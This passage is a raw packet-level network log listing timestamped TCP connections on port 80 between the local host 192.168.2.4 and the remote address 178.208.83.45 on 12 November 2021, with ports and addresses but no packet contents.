Nov 12, 2021 22:23:42.490644932 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490669012 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490695000 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490722895 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490746975 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490755081 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.490773916 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490801096 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490827084 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.490854979 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491076946 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491101980 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491128922 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491156101 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491266966 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491292953 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491318941 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491344929 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491415024 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491441965 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491468906 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491496086 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491651058 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491678953 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491704941 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491731882 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.491760015 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.492958069 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.492989063 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514250040 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514301062 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514333963 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514364004 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514401913 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514432907 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514465094 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.514496088 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.517024040 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.517220974 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.594628096 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.594922066 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.596199036 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.617996931 CET	80	49898	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.618040085 CET	80	49899	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.618099928 CET	49898	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.618163109 CET	49899	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.620073080 CET	80	49900	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.620230913 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.620806932 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.644184113 CET	80	49900	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.648977041 CET	80	49900	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.649060965 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.752523899 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.753721952 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.776472092 CET	80	49900	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.776519060 CET	80	49901	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.776669025 CET	49900	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.776757956 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.777404070 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.800223112 CET	80	49901	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.803371906 CET	80	49901	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.803503036 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.907740116 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.908865929 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.930789948 CET	80	49901	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.930938959 CET	49901	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.931309938 CET	80	49902	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.931463957 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.932312012 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:42.954762936 CET	80	49902	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.957523108 CET	80	49902	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:42.957643032 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.285129070 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.303513050 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.306376934 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.309422016 CET	80	49902	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.310195923 CET	49902	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.326836109 CET	80	49903	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.327060938 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.327604055 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.328732967 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.329056978 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.329546928 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.329691887 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.329900026 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.330045938 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.349961042 CET	80	49903	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352205038 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352219105 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352226019 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352236986 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352246046 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352257013 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352384090 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352382898 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.352396965 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352411032 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352422953 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352437973 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.352438927 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.352485895 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.352503061 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.352746964 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.353230000 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.355326891 CET	80	49903	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.355444908 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.374866009 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374892950 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374907970 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374928951 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374943018 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374953032 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374962091 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.374974966 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374980927 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.374986887 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375000954 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375015974 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375025034 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.375025988 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375042915 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375057936 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375072002 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375087976 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375102997 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.375121117 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.375180960 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.376064062 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.376081944 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.376166105 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.376203060 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.397536993 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397578001 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397586107 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397593975 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397605896 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397615910 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397628069 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397639036 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397650957 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397664070 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397675037 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397697926 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397703886 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397706985 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397710085 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397727013 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.397780895 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.397838116 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397850990 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397859097 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397871971 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397881031 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397891998 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397900105 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397911072 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397922039 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397933960 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397944927 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397958994 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397970915 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.397981882 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398015022 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398026943 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398077011 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398091078 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398139954 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398473024 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398487091 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398499012 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.398511887 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.420351982 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.436815977 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.442573071 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.442668915 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.469909906 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.496586084 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.496705055 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.612097025 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.612390041 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.613782883 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.634516001 CET	80	49904	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.634689093 CET	80	49903	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.634829044 CET	49904	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.636157990 CET	80	49905	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.636168003 CET	49903	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.636298895 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.636862040 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.659280062 CET	80	49905	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.663896084 CET	80	49905	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.664011955 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.766597986 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.767916918 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.789119959 CET	80	49905	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.789203882 CET	49905	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.790294886 CET	80	49906	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.791279078 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.791893959 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.814924955 CET	80	49906	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.814974070 CET	80	49906	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.815002918 CET	80	49906	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:43.815083981 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:43.815121889 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.576560974 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.578834057 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.594189882 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.599023104 CET	80	49906	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.599359035 CET	49906	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.601207972 CET	80	49907	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.601531982 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.602356911 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.617464066 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.617743969 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.618961096 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.619299889 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.619872093 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.620507002 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.624701977 CET	80	49907	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.628036976 CET	80	49907	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.628452063 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.641494989 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642401934 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642410994 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642477036 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642487049 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642498016 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642507076 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642523050 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642535925 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642544031 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642594099 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.642673969 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.642718077 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.642940998 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.642954111 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.643074036 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.643176079 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665230036 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665266037 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665282965 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665292025 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665303946 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665313959 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665324926 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665333986 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665344954 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665353060 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665396929 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665406942 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665420055 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665426970 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665433884 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665523052 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665548086 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665576935 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665595055 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665633917 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665647030 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665654898 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.665657997 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665683031 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.665751934 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.688126087 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688141108 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688155890 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688163042 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688177109 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688203096 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688208103 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688216925 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688229084 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688242912 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688251019 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688258886 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688292027 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.688302040 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688338041 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688344002 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.688365936 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.688395023 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688404083 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688416004 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688447952 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688457012 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688472033 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688479900 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688488960 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688500881 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688509941 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688518047 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688529968 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688539982 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688551903 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688560009 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688571930 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688580036 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688630104 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688642025 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688666105 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688673019 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688680887 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688688040 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.688694954 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.710882902 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.710913897 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.710992098 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711004019 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711108923 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711141109 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711184978 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711230993 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711244106 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711250067 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711267948 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711281061 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.711288929 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.714025021 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.715374947 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.763657093 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.789958000 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.790371895 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.908845901 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.909173965 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.910218954 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.931735992 CET	80	49907	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.931760073 CET	80	49908	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.931847095 CET	49907	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.931925058 CET	49908	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.932554007 CET	80	49909	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.932693005 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.933182955 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:44.955663919 CET	80	49909	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.958759069 CET	80	49909	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:44.959167957 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.065327883 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.067805052 CET	49910	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.087893963 CET	80	49909	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.088078022 CET	49909	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.090265036 CET	80	49910	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.091260910 CET	49910	80	192.168.2.4	178.208.83.45
